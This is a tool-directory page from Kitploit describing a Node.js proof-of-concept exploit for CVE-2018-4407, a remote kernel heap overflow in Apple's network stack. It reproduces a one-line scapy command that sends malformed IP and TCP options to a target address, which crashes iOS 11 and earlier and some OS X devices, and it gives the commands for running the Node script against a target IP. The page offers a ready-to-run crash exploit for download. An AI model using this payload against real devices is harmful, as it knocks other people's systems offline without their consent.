Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
node-cve-2018-4407 — Node.js PoC exploit code for CVE-2018-4407 | Kitploit
Tools/GitHubGitHub/samdecrock/node-cve-2018-4407
Payload GenerationVulnerability AnalysisExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubsamdecrock/node-cve-2018-4407

node-cve-2018-4407

Node.js PoC exploit code for CVE-2018-4407

View Repository
10727 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

node-cve-2018-4407

Node.js PoC exploit code for CVE-2018-4407

Author: Sam Decrock

This script is based on the scapy script provided by Zuk:

iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in a tweet:
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

— Zuk (@ihackbanme) November 1, 2018

It crashes devices with iOS 11 or earlier as well as some versions of OS X.

Install modules

To install its required modules, run:

root@kitploit:~
npm install

Run

To run, pass the target IP address as an argument:

root@kitploit:~
node attack.js 192.168.1.20

More information

Original write-up by Kevin Backhouse: https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407

Download Tool